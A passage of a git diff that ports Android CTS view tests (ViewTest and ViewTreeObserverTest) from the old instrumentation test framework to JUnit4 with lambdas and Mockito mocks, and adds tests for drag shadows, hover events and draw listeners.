-            @Override
-            public void run() {
-                view.dispatchFinishTemporaryDetach();
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(view::dispatchFinishTemporaryDetach);
+        mInstrumentation.waitForIdleSync();
 
         assertFalse(view.isTemporarilyDetached());
         assertTrue(exitedDispatchStartTemporaryDetach.get());
         assertTrue(exitedDispatchFinishTemporaryDetach.get());
     }
 
+    @Test
     public void testKeyPreIme() throws Throwable {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setFocusable(true);
-                view.requestFocus();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            view.setFocusable(true);
+            view.requestFocus();
         });
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
 
-        getInstrumentation().sendKeySync(new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_BACK));
+        mInstrumentation.sendKeySync(new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_BACK));
         assertTrue(view.hasCalledDispatchKeyEventPreIme());
         assertTrue(view.hasCalledOnKeyPreIme());
     }
 
+    @Test
     public void testHapticFeedback() {
         Vibrator vib = (Vibrator) mActivity.getSystemService(Context.VIBRATOR_SERVICE);
         boolean hasVibrator = vib.hasVibrator();
@@ -3779,56 +3806,44 @@
 
         view.setHapticFeedbackEnabled(true);
         assertTrue(view.isHapticFeedbackEnabled());
-        assertEquals(hasVibrator, view.performHapticFeedback(LONG_PRESS, FLAG_IGNORE_GLOBAL_SETTING));
+        assertEquals(hasVibrator, view.performHapticFeedback(LONG_PRESS,
+                FLAG_IGNORE_GLOBAL_SETTING));
     }
 
+    @Test
     public void testInputConnection() throws Throwable {
-        final InputMethodManager imm = (InputMethodManager)getActivity().getSystemService(
+        final InputMethodManager imm = (InputMethodManager) mActivity.getSystemService(
                 Context.INPUT_METHOD_SERVICE);
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
         final ViewGroup viewGroup = (ViewGroup) mActivity.findViewById(R.id.viewlayout_root);
         final MockEditText editText = new MockEditText(mActivity);
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                viewGroup.addView(editText);
-                editText.requestFocus();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            viewGroup.addView(editText);
+            editText.requestFocus();
         });
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
         assertTrue(editText.isFocused());
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                imm.showSoftInput(editText, 0);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> imm.showSoftInput(editText, 0));
+        mInstrumentation.waitForIdleSync();
 
-        new PollingCheck(TIMEOUT_DELTA) {
-            @Override
-            protected boolean check() {
-                return editText.hasCalledOnCreateInputConnection();
-            }
-        }.run();
+        PollingCheck.waitFor(TIMEOUT_DELTA, editText::hasCalledOnCreateInputConnection);
 
         assertTrue(editText.hasCalledOnCheckIsTextEditor());
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                assertTrue(imm.isActive(editText));
-                assertFalse(editText.hasCalledCheckInputConnectionProxy());
-                imm.isActive(view);
-                assertTrue(editText.hasCalledCheckInputConnectionProxy());
-            }
+        mActivityRule.runOnUiThread(() -> {
+            assertTrue(imm.isActive(editText));
+            assertFalse(editText.hasCalledCheckInputConnectionProxy());
+            imm.isActive(view);
+            assertTrue(editText.hasCalledCheckInputConnectionProxy());
         });
     }
 
+    @Test
     public void testFilterTouchesWhenObscured() throws Throwable {
-        OnTouchListenerImpl touchListener = new OnTouchListenerImpl();
+        View.OnTouchListener touchListener = mock(View.OnTouchListener.class);
+        doReturn(true).when(touchListener).onTouch(any(), any());
         View view = new View(mActivity);
         view.setOnTouchListener(touchListener);
 
@@ -3849,35 +3864,36 @@
         assertFalse(view.getFilterTouchesWhenObscured());
 
         view.dispatchTouchEvent(unobscuredTouch);
-        assertTrue(touchListener.hasOnTouch());
-        touchListener.reset();
+        verify(touchListener, times(1)).onTouch(view, unobscuredTouch);
+        reset(touchListener);
         view.dispatchTouchEvent(obscuredTouch);
-        assertTrue(touchListener.hasOnTouch());
-        touchListener.reset();
+        verify(touchListener, times(1)).onTouch(view, obscuredTouch);
+        reset(touchListener);
 
         // Set filter touches to true so only unobscured touches are dispatched.
         view.setFilterTouchesWhenObscured(true);
         assertTrue(view.getFilterTouchesWhenObscured());
 
         view.dispatchTouchEvent(unobscuredTouch);
-        assertTrue(touchListener.hasOnTouch());
-        touchListener.reset();
+        verify(touchListener, times(1)).onTouch(view, unobscuredTouch);
+        reset(touchListener);
         view.dispatchTouchEvent(obscuredTouch);
-        assertFalse(touchListener.hasOnTouch());
-        touchListener.reset();
+        verifyZeroInteractions(touchListener);
+        reset(touchListener);
 
         // Set filter touches to false so all touches are dispatched.
         view.setFilterTouchesWhenObscured(false);
         assertFalse(view.getFilterTouchesWhenObscured());
 
         view.dispatchTouchEvent(unobscuredTouch);
-        assertTrue(touchListener.hasOnTouch());
-        touchListener.reset();
+        verify(touchListener, times(1)).onTouch(view, unobscuredTouch);
+        reset(touchListener);
         view.dispatchTouchEvent(obscuredTouch);
-        assertTrue(touchListener.hasOnTouch());
-        touchListener.reset();
+        verify(touchListener, times(1)).onTouch(view, obscuredTouch);
+        reset(touchListener);
     }
 
+    @Test
     public void testBackgroundTint() {
         View inflatedView = mActivity.findViewById(R.id.background_tint);
 
@@ -3903,6 +3919,7 @@
                 bg.hasCalledSetTint());
     }
 
+    @Test
     public void testStartActionModeWithParent() {
         View view = new View(mActivity);
         MockViewGroup parent = new MockViewGroup(mActivity);
@@ -3916,6 +3933,7 @@
         assertEquals(ActionMode.TYPE_PRIMARY, parent.startActionModeForChildType);
     }
 
+    @Test
     public void testStartActionModeWithoutParent() {
         View view = new View(mActivity);
 
@@ -3924,6 +3942,7 @@
         assertNull(mode);
     }
 
+    @Test
     public void testStartActionModeTypedWithParent() {
         View view = new View(mActivity);
         MockViewGroup parent = new MockViewGroup(mActivity);
@@ -3937,6 +3956,7 @@
         assertEquals(ActionMode.TYPE_FLOATING, parent.startActionModeForChildType);
     }
 
+    @Test
     public void testStartActionModeTypedWithoutParent() {
         View view = new View(mActivity);
 
@@ -3945,6 +3965,7 @@
         assertNull(mode);
     }
 
+    @Test
     public void testVisibilityAggregated() throws Throwable {
         final View grandparent = mActivity.findViewById(R.id.viewlayout_root);
         final View parent = mActivity.findViewById(R.id.aggregate_visibility_parent);
@@ -3956,69 +3977,56 @@
         assertTrue(mv.hasCalledOnVisibilityAggregated());
         assertTrue(mv.getLastAggregatedVisibility());
 
-        final Runnable reset = new Runnable() {
-            @Override
-            public void run() {
-                grandparent.setVisibility(View.VISIBLE);
-                parent.setVisibility(View.VISIBLE);
-                mv.setVisibility(View.VISIBLE);
-                mv.reset();
-            }
+        final Runnable reset = () -> {
+            grandparent.setVisibility(View.VISIBLE);
+            parent.setVisibility(View.VISIBLE);
+            mv.setVisibility(View.VISIBLE);
+            mv.reset();
         };
 
-        runTestOnUiThread(reset);
+        mActivityRule.runOnUiThread(reset);
 
         setVisibilityOnUiThread(parent, View.GONE);
 
         assertTrue(mv.hasCalledOnVisibilityAggregated());
         assertFalse(mv.getLastAggregatedVisibility());
 
-        runTestOnUiThread(reset);
+        mActivityRule.runOnUiThread(reset);
 
         setVisibilityOnUiThread(grandparent, View.GONE);
 
         assertTrue(mv.hasCalledOnVisibilityAggregated());
         assertFalse(mv.getLastAggregatedVisibility());
 
-        runTestOnUiThread(reset);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                grandparent.setVisibility(View.GONE);
-                parent.setVisibility(View.GONE);
-                mv.setVisibility(View.VISIBLE);
+        mActivityRule.runOnUiThread(reset);
+        mActivityRule.runOnUiThread(() -> {
+            grandparent.setVisibility(View.GONE);
+            parent.setVisibility(View.GONE);
+            mv.setVisibility(View.VISIBLE);
 
-                grandparent.setVisibility(View.VISIBLE);
-            }
+            grandparent.setVisibility(View.VISIBLE);
         });
 
         assertTrue(mv.hasCalledOnVisibilityAggregated());
         assertFalse(mv.getLastAggregatedVisibility());
 
-        runTestOnUiThread(reset);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                grandparent.setVisibility(View.GONE);
-                parent.setVisibility(View.INVISIBLE);
+        mActivityRule.runOnUiThread(reset);
+        mActivityRule.runOnUiThread(() -> {
+            grandparent.setVisibility(View.GONE);
+            parent.setVisibility(View.INVISIBLE);
 
-                grandparent.setVisibility(View.VISIBLE);
-            }
+            grandparent.setVisibility(View.VISIBLE);
         });
 
         assertTrue(mv.hasCalledOnVisibilityAggregated());
         assertFalse(mv.getLastAggregatedVisibility());
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                parent.setVisibility(View.VISIBLE);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> parent.setVisibility(View.VISIBLE));
 
         assertTrue(mv.getLastAggregatedVisibility());
     }
 
+    @Test
     public void testOverlappingRendering() {
         View overlappingUnsetView = mActivity.findViewById(R.id.overlapping_rendering_unset);
         View overlappingFalseView = mActivity.findViewById(R.id.overlapping_rendering_false);
@@ -4052,13 +4060,45 @@
         assertTrue(overridingView.hasOverlappingRendering());
     }
 
+    @Test
+    public void testUpdateDragShadow() {
+        View view = mActivity.findViewById(R.id.fit_windows);
+        assertTrue(view.isAttachedToWindow());
+
+        View.DragShadowBuilder shadowBuilder = mock(View.DragShadowBuilder.class);
+        view.startDragAndDrop(ClipData.newPlainText("", ""), shadowBuilder, view, 0);
+        reset(shadowBuilder);
+
+        view.updateDragShadow(shadowBuilder);
+        // TODO: Verify with the canvas from the drag surface instead.
+        verify(shadowBuilder).onDrawShadow(any(Canvas.class));
+    }
+
+    @Test
+    public void testUpdateDragShadow_detachedView() {
+        View view = new View(mActivity);
+        assertFalse(view.isAttachedToWindow());
+
+        View.DragShadowBuilder shadowBuilder = mock(View.DragShadowBuilder.class);
+        view.startDragAndDrop(ClipData.newPlainText("", ""), shadowBuilder, view, 0);
+        reset(shadowBuilder);
+
+        view.updateDragShadow(shadowBuilder);
+        verify(shadowBuilder, never()).onDrawShadow(any(Canvas.class));
+    }
+
+    @Test
+    public void testUpdateDragShadow_noActiveDrag() {
+        View view = mActivity.findViewById(R.id.fit_windows);
+        assertTrue(view.isAttachedToWindow());
+
+        View.DragShadowBuilder shadowBuilder = mock(View.DragShadowBuilder.class);
+        view.updateDragShadow(shadowBuilder);
+        verify(shadowBuilder, never()).onDrawShadow(any(Canvas.class));
+    }
+
     private void setVisibilityOnUiThread(final View view, final int visibility) throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setVisibility(visibility);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> view.setVisibility(visibility));
     }
 
     private static class MockOverlappingRenderingSubclass extends View {
@@ -4153,6 +4193,7 @@
                 }
             };
 
+    @Test
     public void testTranslationSetter() {
         View view = new View(mActivity);
         float offset = 10.0f;
@@ -4161,12 +4202,13 @@
         view.setTranslationZ(offset);
         view.setElevation(offset);
 
-        assertEquals("Incorrect translationX", offset, view.getTranslationX());
-        assertEquals("Incorrect translationY", offset, view.getTranslationY());
-        assertEquals("Incorrect translationZ", offset, view.getTranslationZ());
-        assertEquals("Incorrect elevation", offset, view.getElevation());
+        assertEquals("Incorrect translationX", offset, view.getTranslationX(), 0.0f);
+        assertEquals("Incorrect translationY", offset, view.getTranslationY(), 0.0f);
+        assertEquals("Incorrect translationZ", offset, view.getTranslationZ(), 0.0f);
+        assertEquals("Incorrect elevation", offset, view.getElevation(), 0.0f);
     }
 
+    @Test
     public void testXYZ() {
         View view = new View(mActivity);
         float offset = 10.0f;
@@ -4178,9 +4220,59 @@
         view.setTranslationZ(offset);
         view.setElevation(start);
 
-        assertEquals("Incorrect X value", offset + start, view.getX());
-        assertEquals("Incorrect Y value", offset + start, view.getY());
-        assertEquals("Incorrect Z value", offset + start, view.getZ());
+        assertEquals("Incorrect X value", offset + start, view.getX(), 0.0f);
+        assertEquals("Incorrect Y value", offset + start, view.getY(), 0.0f);
+        assertEquals("Incorrect Z value", offset + start, view.getZ(), 0.0f);
+    }
+
+    @Test
+    public void testOnHoverEvent() {
+        MotionEvent event;
+
+        View view = new View(mActivity);
+        long downTime = SystemClock.uptimeMillis();
+
+        // Preconditions.
+        assertFalse(view.isHovered());
+        assertFalse(view.isClickable());
+        assertTrue(view.isEnabled());
+
+        // Simulate an ENTER/EXIT pair on a non-clickable view.
+        event = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_HOVER_ENTER, 0, 0, 0);
+        view.onHoverEvent(event);
+        assertFalse(view.isHovered());
+        event.recycle();
+
+        event = MotionEvent.obtain(downTime, downTime + 10, MotionEvent.ACTION_HOVER_EXIT, 0, 0, 0);
+        view.onHoverEvent(event);
+        assertFalse(view.isHovered());
+        event.recycle();
+
+        // Simulate an ENTER/EXIT pair on a clickable view.
+        view.setClickable(true);
+
+        event = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_HOVER_ENTER, 0, 0, 0);
+        view.onHoverEvent(event);
+        assertTrue(view.isHovered());
+        event.recycle();
+
+        event = MotionEvent.obtain(downTime, downTime + 10, MotionEvent.ACTION_HOVER_EXIT, 0, 0, 0);
+        view.onHoverEvent(event);
+        assertFalse(view.isHovered());
+        event.recycle();
+
+        // Simulate an ENTER, then disable the view and simulate EXIT.
+        event = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_HOVER_ENTER, 0, 0, 0);
+        view.onHoverEvent(event);
+        assertTrue(view.isHovered());
+        event.recycle();
+
+        view.setEnabled(false);
+
+        event = MotionEvent.obtain(downTime, downTime + 10, MotionEvent.ACTION_HOVER_EXIT, 0, 0, 0);
+        view.onHoverEvent(event);
+        assertFalse(view.isHovered());
+        event.recycle();
     }
 
     private static class MockDrawable extends Drawable {
@@ -4488,23 +4580,6 @@
         }
     }
 
-    private final class OnCreateContextMenuListenerImpl implements OnCreateContextMenuListener {
-        private boolean mHasOnCreateContextMenu = false;
-
-        @Override
-        public void onCreateContextMenu(ContextMenu menu, View v, ContextMenuInfo menuInfo) {
-            mHasOnCreateContextMenu = true;
-        }
-
-        public boolean hasOnCreateContextMenu() {
-            return mHasOnCreateContextMenu;
-        }
-
-        public void reset() {
-            mHasOnCreateContextMenu = false;
-        }
-    }
-
     private static class MockViewGroupParent extends ViewGroup implements ViewParent {
         private boolean mHasRequestChildRectangleOnScreen = false;
         private Rect mLastRequestedChildRectOnScreen = new Rect(
@@ -4545,156 +4620,12 @@
         }
     }
 
-    private static final class OnClickListenerImpl implements OnClickListener {
-        private boolean mHasOnClick = false;
-
-        @Override
-        public void onClick(View v) {
-            mHasOnClick = true;
-        }
-
-        public boolean hasOnClick() {
-            return mHasOnClick;
-        }
-
-        public void reset() {
-            mHasOnClick = false;
-        }
-    }
-
-    private static final class OnLongClickListenerImpl implements OnLongClickListener {
-        private boolean mHasOnLongClick = false;
-
-        public boolean hasOnLongClick() {
-            return mHasOnLongClick;
-        }
-
-        public void reset() {
-            mHasOnLongClick = false;
-        }
-
-        @Override
-        public boolean onLongClick(View v) {
-            mHasOnLongClick = true;
-            return true;
-        }
-    }
-
-    private static final class OnContextClickListenerImpl implements OnContextClickListener {
-        private boolean mHasContextClick = false;
-        private View mLastViewContextClicked;
-
-        public boolean hasOnContextClick() {
-            return mHasContextClick;
-        }
-
-        public void reset() {
-            mHasContextClick = false;
-            mLastViewContextClicked = null;
-        }
-
-        @Override
-        public boolean onContextClick(View v) {
-            mHasContextClick = true;
-            mLastViewContextClicked = v;
-            return true;
-        }
-
-        public View getLastViewContextClicked() {
-            return mLastViewContextClicked;
-        }
-    }
-
-    private static final class OnFocusChangeListenerImpl implements OnFocusChangeListener {
-        private boolean mHasOnFocusChange = false;
-
-        @Override
-        public void onFocusChange(View v, boolean hasFocus) {
-            mHasOnFocusChange = true;
-        }
-
-        public boolean hasOnFocusChange() {
-            return mHasOnFocusChange;
-        }
-
-        public void reset() {
-            mHasOnFocusChange = false;
-        }
-    }
-
-    private static final class OnKeyListenerImpl implements OnKeyListener {
-        private boolean mHasOnKey = false;
-
-        @Override
-        public boolean onKey(View v, int keyCode, KeyEvent event) {
-            mHasOnKey = true;
-            return true;
-        }
-
-        public void reset() {
-            mHasOnKey = false;
-        }
-
-        public boolean hasOnKey() {
-            return mHasOnKey;
-        }
-    }
-
-    private static final class OnTouchListenerImpl implements OnTouchListener {
-        private boolean mHasOnTouch = false;
-
-        @Override
-        public boolean onTouch(View v, MotionEvent event) {
-            mHasOnTouch = true;
-            return true;
-        }
-
-        public void reset() {
-            mHasOnTouch = false;
-        }
-
-        public boolean hasOnTouch() {
-            return mHasOnTouch;
-        }
-    }
-
-    private static final class MockTouchDelegate extends TouchDelegate {
-        public MockTouchDelegate(Rect bounds, View delegateView) {
-            super(bounds, delegateView);
-        }
-
-        private boolean mCalledOnTouchEvent = false;
-
-        @Override
-        public boolean onTouchEvent(MotionEvent event) {
-            mCalledOnTouchEvent = true;
-            return super.onTouchEvent(event);
-        }
-
-        public boolean hasCalledOnTouchEvent() {
-            return mCalledOnTouchEvent;
-        }
-
-        public void reset() {
-            mCalledOnTouchEvent = false;
-        }
-    }
-
     private static final class ViewData {
         public int childCount;
         public String tag;
         public View firstChild;
     }
 
-    private static final class MockRunnable implements Runnable {
-        public boolean hasRun = false;
-
-        @Override
-        public void run() {
-            hasRun = true;
-        }
-    }
-
     private static final Class<?> ASYNC_INFLATE_VIEWS[] = {
         android.app.FragmentBreadCrumbs.class,
 // DISABLED because it doesn't have a AppWidgetHostView(Context, AttributeSet)
diff --git a/tests/tests/view/src/android/view/cts/ViewTestCtsActivity.java b/tests/tests/view/src/android/view/cts/ViewTestCtsActivity.java
index bbe6ccc..9766fa2 100644
--- a/tests/tests/view/src/android/view/cts/ViewTestCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/ViewTestCtsActivity.java
@@ -24,7 +24,7 @@
 
 public class ViewTestCtsActivity extends Activity {
     private boolean mHasWindowFocus = false;
-    private Object mHasWindowFocusLock = new Object();
+    private final Object mHasWindowFocusLock = new Object();
 
     @Override
     protected void onCreate(Bundle icicle) {
diff --git a/tests/tests/view/src/android/view/cts/ViewTreeObserverTest.java b/tests/tests/view/src/android/view/cts/ViewTreeObserverTest.java
index b799e76..4aa7377 100644
--- a/tests/tests/view/src/android/view/cts/ViewTreeObserverTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTreeObserverTest.java
@@ -16,420 +16,295 @@
 
 package android.view.cts;
 
-import android.view.cts.R;
+import static com.android.compatibility.common.util.CtsMockitoUtils.within;
+
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.anyBoolean;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyZeroInteractions;
 
 import android.app.Activity;
 import android.app.Instrumentation;
-import android.cts.util.PollingCheck;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.TouchUtils;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.ViewTreeObserver;
-import android.view.ViewTreeObserver.OnGlobalFocusChangeListener;
-import android.view.ViewTreeObserver.OnGlobalLayoutListener;
-import android.view.ViewTreeObserver.OnPreDrawListener;
-import android.view.ViewTreeObserver.OnScrollChangedListener;
-import android.view.ViewTreeObserver.OnTouchModeChangeListener;
 import android.widget.Button;
 import android.widget.LinearLayout;
 import android.widget.ScrollView;
 
-public class ViewTreeObserverTest extends ActivityInstrumentationTestCase2<MockActivity> {
-    ViewTreeObserver mViewTreeObserver;
+import com.android.compatibility.common.util.CtsTouchUtils;
+import com.android.compatibility.common.util.PollingCheck;
 
-    private Activity mActivity;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ViewTreeObserverTest {
+    private static int TIMEOUT_MS = 2000;
+
     private Instrumentation mInstrumentation;
+    private Activity mActivity;
+    private ViewTreeObserver mViewTreeObserver;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mViewTreeObserver = null;
-        mActivity = getActivity();
-        new PollingCheck() {
-            @Override
-                protected boolean check() {
-                return mActivity.hasWindowFocus();
-            }
-        }.run();
-        mInstrumentation = getInstrumentation();
+    private LinearLayout mLinearLayout;
+    private Button mButton;
+
+    @Rule
+    public ActivityTestRule<MockActivity> mActivityRule =
+            new ActivityTestRule<>(MockActivity.class);
+
+    @Before
+    public void setup() throws Throwable {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        PollingCheck.waitFor(mActivity::hasWindowFocus);
         layout(R.layout.viewtreeobserver_layout);
+
+        mLinearLayout = (LinearLayout) mActivity.findViewById(R.id.linearlayout);
+        mButton = (Button) mActivity.findViewById(R.id.button1);
     }
 
-    public ViewTreeObserverTest() {
-        super(MockActivity.class);
-    }
-
-    private void layout(final int layoutId) {
-        mInstrumentation.runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                mActivity.setContentView(layoutId);
-            }
-        });
+    private void layout(final int layoutId) throws Throwable {
+        mActivityRule.runOnUiThread(() -> mActivity.setContentView(layoutId));
         mInstrumentation.waitForIdleSync();
     }
 
-    public void testAddOnGlobalFocusChangeListener() {
-        final LinearLayout layout = (LinearLayout) mActivity.findViewById(R.id.linearlayout);
+    @Test
+    public void testAddOnGlobalFocusChangeListener() throws Throwable {
         final View view1 = mActivity.findViewById(R.id.view1);
         final View view2 = mActivity.findViewById(R.id.view2);
 
-        mInstrumentation.runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                view1.requestFocus();
-            }
-        });
+        mActivityRule.runOnUiThread(view1::requestFocus);
 
-        mViewTreeObserver = layout.getViewTreeObserver();
-        final MockOnGlobalFocusChangeListener listener = new MockOnGlobalFocusChangeListener();
+        mViewTreeObserver = mLinearLayout.getViewTreeObserver();
+        final ViewTreeObserver.OnGlobalFocusChangeListener listener =
+                mock(ViewTreeObserver.OnGlobalFocusChangeListener.class);
         mViewTreeObserver.addOnGlobalFocusChangeListener(listener);
-        assertFalse(listener.hasCalledOnGlobalFocusChanged());
 
-        mInstrumentation.runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                view2.requestFocus();
-            }
-        });
+        mActivityRule.runOnUiThread(view2::requestFocus);
         mInstrumentation.waitForIdleSync();
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return listener.hasCalledOnGlobalFocusChanged()
-                        && listener.oldFocus == view1 && listener.newFocus == view2;
-            }
-        }.run();
+        verify(listener, within(TIMEOUT_MS)).onGlobalFocusChanged(view1, view2);
     }
 
+    @Test
     public void testAddOnGlobalLayoutListener() {
-        final LinearLayout layout =
-            (LinearLayout) mActivity.findViewById(R.id.linearlayout);
-        mViewTreeObserver = layout.getViewTreeObserver();
+        mViewTreeObserver = mLinearLayout.getViewTreeObserver();
 
-        MockOnGlobalLayoutListener listener = new MockOnGlobalLayoutListener();
-        assertFalse(listener.hasCalledOnGlobalLayout());
+        final ViewTreeObserver.OnGlobalLayoutListener listener =
+                mock(ViewTreeObserver.OnGlobalLayoutListener.class);
         mViewTreeObserver.addOnGlobalLayoutListener(listener);
         mViewTreeObserver.dispatchOnGlobalLayout();
-        assertTrue(listener.hasCalledOnGlobalLayout());
+        verify(listener, times(1)).onGlobalLayout();
     }
 
+    @Test
     public void testAddOnPreDrawListener() {
-        final LinearLayout layout = (LinearLayout) mActivity.findViewById(R.id.linearlayout);
-        mViewTreeObserver = layout.getViewTreeObserver();
+        mViewTreeObserver = mLinearLayout.getViewTreeObserver();
 
-        MockOnPreDrawListener listener = new MockOnPreDrawListener();
-        assertFalse(listener.hasCalledOnPreDraw());
+        final ViewTreeObserver.OnPreDrawListener listener =
+                mock(ViewTreeObserver.OnPreDrawListener.class);
         mViewTreeObserver.addOnPreDrawListener(listener);
         mViewTreeObserver.dispatchOnPreDraw();
-        assertTrue(listener.hasCalledOnPreDraw());
+        verify(listener, times(1)).onPreDraw();
     }
 
-    public void testAddOnTouchModeChangeListener() {
-        final Button b = (Button) mActivity.findViewById(R.id.button1);
+    @Test
+    public void testAddOnDrawListener() {
+        mViewTreeObserver = mLinearLayout.getViewTreeObserver();
 
+        final ViewTreeObserver.OnDrawListener listener =
+                mock(ViewTreeObserver.OnDrawListener.class);
+        mViewTreeObserver.addOnDrawListener(listener);
+        mViewTreeObserver.dispatchOnDraw();
+        verify(listener, times(1)).onDraw();
+    }
+
+    @Test(expected=IllegalStateException.class)
+    public void testRemoveOnDrawListenerInDispatch() {
+        final View view = new View(mActivity);
+        mViewTreeObserver = view.getViewTreeObserver();
+
+        final ViewTreeObserver.OnDrawListener listener =
+                new ViewTreeObserver.OnDrawListener() {
+                    @Override
+                    public void onDraw() {
+                        mViewTreeObserver.removeOnDrawListener(this);
+                    }
+                };
+        mViewTreeObserver.addOnDrawListener(listener);
+        mViewTreeObserver.dispatchOnDraw();
+    }
+
+    @Test
+    public void testAddOnTouchModeChangeListener() throws Throwable {
         // let the button be touch mode.
-        TouchUtils.tapView(this, b);
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mButton);
 
-        mViewTreeObserver = b.getViewTreeObserver();
+        mViewTreeObserver = mButton.getViewTreeObserver();
 
-        final MockOnTouchModeChangeListener listener = new MockOnTouchModeChangeListener();
-        assertFalse(listener.hasCalledOnTouchModeChanged());
+        final ViewTreeObserver.OnTouchModeChangeListener listener =
+                mock(ViewTreeObserver.OnTouchModeChangeListener.class);
         mViewTreeObserver.addOnTouchModeChangeListener(listener);
 
-        mInstrumentation.runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                b.requestFocusFromTouch();
-            }
-        });
+        mActivityRule.runOnUiThread(mButton::requestFocusFromTouch);
         mInstrumentation.waitForIdleSync();
 
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return listener.hasCalledOnTouchModeChanged();
-            }
-        }.run();
+        verify(listener, within(TIMEOUT_MS)).onTouchModeChanged(anyBoolean());
     }
 
-    public void testDispatchOnGlobalLayout() {
-        final LinearLayout layout = (LinearLayout) mActivity.findViewById(R.id.linearlayout);
-        mViewTreeObserver = layout.getViewTreeObserver();
-
-        MockOnGlobalLayoutListener listener = new MockOnGlobalLayoutListener();
-        assertFalse(listener.hasCalledOnGlobalLayout());
-        mViewTreeObserver.addOnGlobalLayoutListener(listener);
-        mViewTreeObserver.dispatchOnGlobalLayout();
-        assertTrue(listener.hasCalledOnGlobalLayout());
-    }
-
-    public void testDispatchOnPreDraw() {
-        final LinearLayout layout = (LinearLayout) mActivity.findViewById(R.id.linearlayout);
-        mViewTreeObserver = layout.getViewTreeObserver();
-
-        MockOnPreDrawListener listener = new MockOnPreDrawListener();
-        assertFalse(listener.hasCalledOnPreDraw());
-        mViewTreeObserver.addOnPreDrawListener(listener);
-        mViewTreeObserver.dispatchOnPreDraw();
-        assertTrue(listener.hasCalledOnPreDraw());
-    }
-
+    @Test
     public void testIsAlive() {
-        final LinearLayout layout = (LinearLayout) mActivity.findViewById(R.id.linearlayout);
-
-        mViewTreeObserver = layout.getViewTreeObserver();
+        mViewTreeObserver = mLinearLayout.getViewTreeObserver();
         assertTrue(mViewTreeObserver.isAlive());
     }
 
+    @LargeTest
+    @Test
     public void testRemoveGlobalOnLayoutListener() {
-        final LinearLayout layout = (LinearLayout) mActivity.findViewById(R.id.linearlayout);
-        mViewTreeObserver = layout.getViewTreeObserver();
+        mViewTreeObserver = mLinearLayout.getViewTreeObserver();
 
-        MockOnGlobalLayoutListener listener = new MockOnGlobalLayoutListener();
-        assertFalse(listener.hasCalledOnGlobalLayout());
+        final ViewTreeObserver.OnGlobalLayoutListener listener =
+                mock(ViewTreeObserver.OnGlobalLayoutListener.class);
         mViewTreeObserver.addOnGlobalLayoutListener(listener);
         mViewTreeObserver.dispatchOnGlobalLayout();
-        assertTrue(listener.hasCalledOnGlobalLayout());
+        verify(listener, times(1)).onGlobalLayout();
 
-        listener.reset();
-        assertFalse(listener.hasCalledOnGlobalLayout());
+        reset(listener);
         mViewTreeObserver.removeGlobalOnLayoutListener(listener);
         mViewTreeObserver.dispatchOnGlobalLayout();
-        assertFalse(listener.hasCalledOnGlobalLayout());
+        // Since we've unregistered our listener, we expect it to not be called even after
+        // we've waited for a couple of seconds
+        SystemClock.sleep(TIMEOUT_MS);
+        verifyZeroInteractions(listener);
     }
 
-    public void testRemoveOnGlobalFocusChangeListener() {
-        final LinearLayout layout = (LinearLayout) mActivity.findViewById(R.id.linearlayout);
+    @LargeTest
+    @Test
+    public void testRemoveOnGlobalLayoutListener() {
+        mViewTreeObserver = mLinearLayout.getViewTreeObserver();
+
+        final ViewTreeObserver.OnGlobalLayoutListener listener =
+                mock(ViewTreeObserver.OnGlobalLayoutListener.class);
+        mViewTreeObserver.addOnGlobalLayoutListener(listener);
+        mViewTreeObserver.dispatchOnGlobalLayout();
+        verify(listener, times(1)).onGlobalLayout();
+
+        reset(listener);
+        mViewTreeObserver.removeOnGlobalLayoutListener(listener);
+        mViewTreeObserver.dispatchOnGlobalLayout();
+        // Since we've unregistered our listener, we expect it to not be called even after
+        // we've waited for a couple of seconds
+        SystemClock.sleep(TIMEOUT_MS);
